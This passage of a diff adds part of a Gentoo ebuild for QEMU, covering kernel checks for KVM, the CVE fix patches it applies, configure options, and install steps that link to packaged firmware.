2196 +ensure that the kernel module is loaded is to load it on boot.\n
2197 +For AMD CPUs the module is called 'kvm-amd'\n
2198 +For Intel CPUs the module is called 'kvm-intel'\n
2199 +Please review /etc/conf.d/modules for how to load these\n\n
2200 +Make sure your user is in the 'kvm' group\n
2201 +Just run 'gpasswd -a <USER> kvm', then have <USER> re-login."
2202 +
2203 +qemu_support_kvm() {
2204 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
2205 + use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
2206 + use qemu_softmmu_targets_s390x; then
2207 + return 0
2208 + fi
2209 +
2210 + return 1
2211 +}
2212 +
2213 +pkg_pretend() {
2214 + if use kernel_linux && kernel_is lt 2 6 25; then
2215 + eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
2216 + elif use kernel_linux; then
2217 + if ! linux_config_exists; then
2218 + eerror "Unable to check your kernel for KVM support"
2219 + else
2220 + CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
2221 + ERROR_KVM="You must enable KVM in your kernel to continue"
2222 + ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
2223 + ERROR_KVM_AMD+=" your kernel configuration."
2224 + ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
2225 + ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
2226 + ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
2227 + ERROR_TUN+=" into your kernel or loaded as a module to use the"
2228 + ERROR_TUN+=" virtual network device if using -net tap."
2229 + ERROR_BRIDGE="You will also need support for 802.1d"
2230 + ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
2231 + use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
2232 + ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
2233 + ERROR_VHOST_NET+=" support"
2234 +
2235 + if use amd64 || use x86 || use amd64-linux || use x86-linux; then
2236 + CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
2237 + fi
2238 +
2239 + use python && CONFIG_CHECK+=" ~DEBUG_FS"
2240 + ERROR_DEBUG_FS="debugFS support required for kvm_stat"
2241 +
2242 + # Now do the actual checks setup above
2243 + check_extra_config
2244 + fi
2245 + fi
2246 +
2247 + if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
2248 + eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
2249 + eerror "instances are still pointing to it. Please update your"
2250 + eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
2251 + eerror "and the right system binary (e.g. qemu-system-x86_64)."
2252 + die "update your virt configs to not use qemu-kvm"
2253 + fi
2254 +}
2255 +
2256 +pkg_setup() {
2257 + enewgroup kvm 78
2258 +}
2259 +
2260 +# Sanity check to make sure target lists are kept up-to-date.
2261 +check_targets() {
2262 + local var=$1 mak=$2
2263 + local detected sorted
2264 +
2265 + pushd "${S}"/default-configs >/dev/null || die
2266 +
2267 + # Force C locale until glibc is updated. #564936
2268 + detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u))
2269 + sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u))
2270 + if [[ ${sorted} != "${detected}" ]] ; then
2271 + eerror "The ebuild needs to be kept in sync."
2272 + eerror "${var}: ${sorted}"
2273 + eerror "$(printf '%-*s' ${#var} configure): ${detected}"
2274 + die "sync ${var} to the list of targets"
2275 + fi
2276 +
2277 + popd >/dev/null
2278 +}
2279 +
2280 +src_prepare() {
2281 + check_targets IUSE_SOFTMMU_TARGETS softmmu
2282 + check_targets IUSE_USER_TARGETS linux-user
2283 +
2284 + # Alter target makefiles to accept CFLAGS set via flag-o
2285 + sed -i -r \
2286 + -e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
2287 + Makefile Makefile.target || die
2288 +
2289 + # Cheap hack to disable gettext .mo generation.
2290 + use nls || rm -f po/*.po
2291 +
2292 + epatch "${FILESDIR}"/qemu-1.7.0-cflags.patch
2293 + epatch "${FILESDIR}"/${PN}-2.4.0-block-mirror-crash.patch #558396
2294 + epatch "${FILESDIR}"/${PN}-2.4.0-CVE-2015-7295-{1,2,3}.patch #560760
2295 + epatch "${FILESDIR}"/${PN}-2.4.0-CVE-2015-6855.patch #560422
2296 + [[ -n ${BACKPORTS} ]] && \
2297 + EPATCH_FORCE=yes EPATCH_SUFFIX="patch" EPATCH_SOURCE="${S}/patches" \
2298 + epatch
2299 +
2300 + # MIPS specific fixes. Bug #563162
2301 + for x in "${FILESDIR}"/${PN}-2.4-mips-*; do
2302 + epatch "${x}"
2303 + done
2304 +
2305 + # Fix ld and objcopy being called directly
2306 + tc-export AR LD OBJCOPY
2307 +
2308 + # Verbose builds
2309 + MAKEOPTS+=" V=1"
2310 +
2311 + epatch_user
2312 +}
2313 +
2314 +##
2315 +# configures qemu based on the build directory and the build type
2316 +# we are using.
2317 +#
2318 +qemu_src_configure() {
2319 + debug-print-function ${FUNCNAME} "$@"
2320 +
2321 + local buildtype=$1
2322 + local builddir="${S}/${buildtype}-build"
2323 + local static_flag="static-${buildtype}"
2324 +
2325 + mkdir "${builddir}"
2326 +
2327 + local conf_opts=(
2328 + --prefix=/usr
2329 + --sysconfdir=/etc
2330 + --libdir=/usr/$(get_libdir)
2331 + --docdir=/usr/share/doc/${PF}/html
2332 + --disable-bsd-user
2333 + --disable-guest-agent
2334 + --disable-strip
2335 + --disable-werror
2336 + --python="${PYTHON}"
2337 + --cc="$(tc-getCC)"
2338 + --cxx="$(tc-getCXX)"
2339 + --host-cc="$(tc-getBUILD_CC)"
2340 + $(use_enable debug debug-info)
2341 + $(use_enable debug debug-tcg)
2342 + --enable-docs
2343 + $(use_enable tci tcg-interpreter)
2344 + $(use_enable xattr attr)
2345 + )
2346 +
2347 + # Disable options not used by user targets as the default configure
2348 + # options will autoprobe and try to link in a bunch of unused junk.
2349 + conf_softmmu() {
2350 + if [[ ${buildtype} == "user" ]] ; then
2351 + echo "--disable-${2:-$1}"
2352 + else
2353 + use_enable "$@"
2354 + fi
2355 + }
2356 + conf_opts+=(
2357 + $(conf_softmmu accessibility brlapi)
2358 + $(conf_softmmu aio linux-aio)
2359 + $(conf_softmmu bluetooth bluez)
2360 + $(conf_softmmu caps cap-ng)
2361 + $(conf_softmmu curl)
2362 + $(conf_softmmu fdt)
2363 + $(conf_softmmu glusterfs)
2364 + $(conf_softmmu gtk)
2365 + $(conf_softmmu infiniband rdma)
2366 + $(conf_softmmu iscsi libiscsi)
2367 + $(conf_softmmu jpeg vnc-jpeg)
2368 + $(conf_softmmu kernel_linux kvm)
2369 + $(conf_softmmu lzo)
2370 + $(conf_softmmu ncurses curses)
2371 + $(conf_softmmu nfs libnfs)
2372 + $(conf_softmmu numa)
2373 + $(conf_softmmu opengl)
2374 + $(conf_softmmu png vnc-png)
2375 + $(conf_softmmu rbd)
2376 + $(conf_softmmu sasl vnc-sasl)
2377 + $(conf_softmmu sdl)
2378 + $(conf_softmmu seccomp)
2379 + $(conf_softmmu smartcard smartcard-nss)
2380 + $(conf_softmmu snappy)
2381 + $(conf_softmmu spice)
2382 + $(conf_softmmu ssh libssh2)
2383 + $(conf_softmmu tls vnc-tls)
2384 + $(conf_softmmu usb libusb)
2385 + $(conf_softmmu usbredir usb-redir)
2386 + $(conf_softmmu uuid)
2387 + $(conf_softmmu vde)
2388 + $(conf_softmmu vhost-net)
2389 + $(conf_softmmu virtfs)
2390 + $(conf_softmmu vnc)
2391 + $(conf_softmmu vte)
2392 + $(conf_softmmu xen)
2393 + $(conf_softmmu xen xen-pci-passthrough)
2394 + $(conf_softmmu xfs xfsctl)
2395 + )
2396 +
2397 + case ${buildtype} in
2398 + user)
2399 + conf_opts+=(
2400 + --enable-linux-user
2401 + --disable-system
2402 + --disable-blobs
2403 + --disable-tools
2404 + )
2405 + ;;
2406 + softmmu)
2407 + # audio options
2408 + local audio_opts="oss"
2409 + use alsa && audio_opts="alsa,${audio_opts}"
2410 + use sdl && audio_opts="sdl,${audio_opts}"
2411 + use pulseaudio && audio_opts="pa,${audio_opts}"
2412 +
2413 + conf_opts+=(
2414 + --disable-linux-user
2415 + --enable-system
2416 + --with-system-pixman
2417 + --audio-drv-list="${audio_opts}"
2418 + )
2419 + use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
2420 + use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) )
2421 + ;;
2422 + tools)
2423 + conf_opts+=(
2424 + --disable-linux-user
2425 + --disable-system
2426 + --disable-blobs
2427 + )
2428 + static_flag="static"
2429 + ;;
2430 + esac
2431 +
2432 + local targets="${buildtype}_targets"
2433 + [[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" )
2434 +
2435 + # Add support for SystemTAP
2436 + use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
2437 +
2438 + # We always want to attempt to build with PIE support as it results
2439 + # in a more secure binary. But it doesn't work with static or if
2440 + # the current GCC doesn't have PIE support.
2441 + if use ${static_flag}; then
2442 + conf_opts+=( --static --disable-pie )
2443 + else
2444 + gcc-specs-pie && conf_opts+=( --enable-pie )
2445 + fi
2446 +
2447 + echo "../configure ${conf_opts[*]}"
2448 + cd "${builddir}"
2449 + ../configure "${conf_opts[@]}" || die "configure failed"
2450 +
2451 + # FreeBSD's kernel does not support QEMU assigning/grabbing
2452 + # host USB devices yet
2453 + use kernel_FreeBSD && \
2454 + sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
2455 +}
2456 +
2457 +src_configure() {
2458 + local target
2459 +
2460 + python_setup
2461 +
2462 + softmmu_targets= softmmu_bins=()
2463 + user_targets= user_bins=()
2464 +
2465 + for target in ${IUSE_SOFTMMU_TARGETS} ; do
2466 + if use "qemu_softmmu_targets_${target}"; then
2467 + softmmu_targets+=",${target}-softmmu"
2468 + softmmu_bins+=( "qemu-system-${target}" )
2469 + fi
2470 + done
2471 +
2472 + for target in ${IUSE_USER_TARGETS} ; do
2473 + if use "qemu_user_targets_${target}"; then
2474 + user_targets+=",${target}-linux-user"
2475 + user_bins+=( "qemu-${target}" )
2476 + fi
2477 + done
2478 +
2479 + softmmu_targets=${softmmu_targets#,}
2480 + user_targets=${user_targets#,}
2481 +
2482 + [[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu"
2483 + [[ -n ${user_targets} ]] && qemu_src_configure "user"
2484 + [[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools"
2485 +}
2486 +
2487 +src_compile() {
2488 + if [[ -n ${user_targets} ]]; then
2489 + cd "${S}/user-build"
2490 + default
2491 + fi
2492 +
2493 + if [[ -n ${softmmu_targets} ]]; then
2494 + cd "${S}/softmmu-build"
2495 + default
2496 + fi
2497 +
2498 + if [[ -z ${softmmu_targets}${user_targets} ]]; then
2499 + cd "${S}/tools-build"
2500 + default
2501 + fi
2502 +}
2503 +
2504 +src_test() {
2505 + if [[ -n ${softmmu_targets} ]]; then
2506 + cd "${S}/softmmu-build"
2507 + pax-mark m */qemu-system-* #515550
2508 + emake -j1 check
2509 + emake -j1 check-report.html
2510 + fi
2511 +}
2512 +
2513 +qemu_python_install() {
2514 + python_domodule "${S}/scripts/qmp/qmp.py"
2515 +
2516 + python_doscript "${S}/scripts/kvm/kvm_stat"
2517 + python_doscript "${S}/scripts/kvm/vmxcap"
2518 + python_doscript "${S}/scripts/qmp/qmp-shell"
2519 + python_doscript "${S}/scripts/qmp/qemu-ga-client"
2520 +}
2521 +
2522 +src_install() {
2523 + if [[ -n ${user_targets} ]]; then
2524 + cd "${S}/user-build"
2525 + emake DESTDIR="${ED}" install
2526 +
2527 + # Install binfmt handler init script for user targets
2528 + newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
2529 + fi
2530 +
2531 + if [[ -n ${softmmu_targets} ]]; then
2532 + cd "${S}/softmmu-build"
2533 + emake DESTDIR="${ED}" install
2534 +
2535 + # This might not exist if the test failed. #512010
2536 + [[ -e check-report.html ]] && dohtml check-report.html
2537 +
2538 + if use kernel_linux; then
2539 + udev_dorules "${FILESDIR}"/65-kvm.rules
2540 + fi
2541 +
2542 + if use python; then
2543 + python_foreach_impl qemu_python_install
2544 + fi
2545 + fi
2546 +
2547 + if [[ -z ${softmmu_targets}${user_targets} ]]; then
2548 + cd "${S}/tools-build"
2549 + emake DESTDIR="${ED}" install
2550 + fi
2551 +
2552 + # Disable mprotect on the qemu binaries as they use JITs to be fast #459348
2553 + pushd "${ED}"/usr/bin >/dev/null
2554 + pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
2555 + popd >/dev/null
2556 +
2557 + # Install config file example for qemu-bridge-helper
2558 + insinto "/etc/qemu"
2559 + doins "${FILESDIR}/bridge.conf"
2560 +
2561 + # Remove the docdir placed qmp-commands.txt
2562 + mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/qmp/"
2563 +
2564 + cd "${S}"
2565 + dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
2566 + newdoc pc-bios/README README.pc-bios
2567 + dodoc docs/qmp/*.txt
2568 +
2569 + if [[ -n ${softmmu_targets} ]]; then
2570 + # Remove SeaBIOS since we're using the SeaBIOS packaged one
2571 + rm "${ED}/usr/share/qemu/bios.bin"
2572 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
2573 + dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
2574 + fi
2575 +
2576 + # Remove vgabios since we're using the vgabios packaged one
2577 + rm "${ED}/usr/share/qemu/vgabios.bin"
2578 + rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
2579 + rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
2580 + rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
2581 + rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
2582 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
2583 + dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
2584 + dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
2585 + dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
2586 + dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
2587 + dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
2588 + fi
2589 +
2590 + # Remove sgabios since we're using the sgabios packaged one
2591 + rm "${ED}/usr/share/qemu/sgabios.bin"
2592 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
2593 + dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
2594 + fi
2595 +
2596 + # Remove iPXE since we're using the iPXE packaged one
2597 + rm "${ED}"/usr/share/qemu/pxe-*.rom
2598 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
2599 + dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
2600 + dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
2601 + dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
2602 + dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
2603 + dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
2604 + dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
2605 + fi
2606 + fi
2607 +
2608 + qemu_support_kvm && readme.gentoo_create_doc
2609 +}
2610 +
2611 +pkg_postinst() {
2612 + if qemu_support_kvm; then
2613 + readme.gentoo_print_elog
2614 + fi
2615 +
2616 + if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
2617 + udev_reload
2618 + fi
2619 +
2620 + fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
2621 +}
2622 +
2623 +pkg_info() {
2624 + echo "Using:"
2625 + echo " $(best_version app-emulation/spice-protocol)"
2626 + echo " $(best_version sys-firmware/ipxe)"
2627 + echo " $(best_version sys-firmware/seabios)"
2628 + if has_version 'sys-firmware/seabios[binary]'; then
2629 + echo " USE=binary"
2630 + else
2631 + echo " USE=''"
2632 + fi
2633 + echo " $(best_version sys-firmware/vgabios)"
2634 +}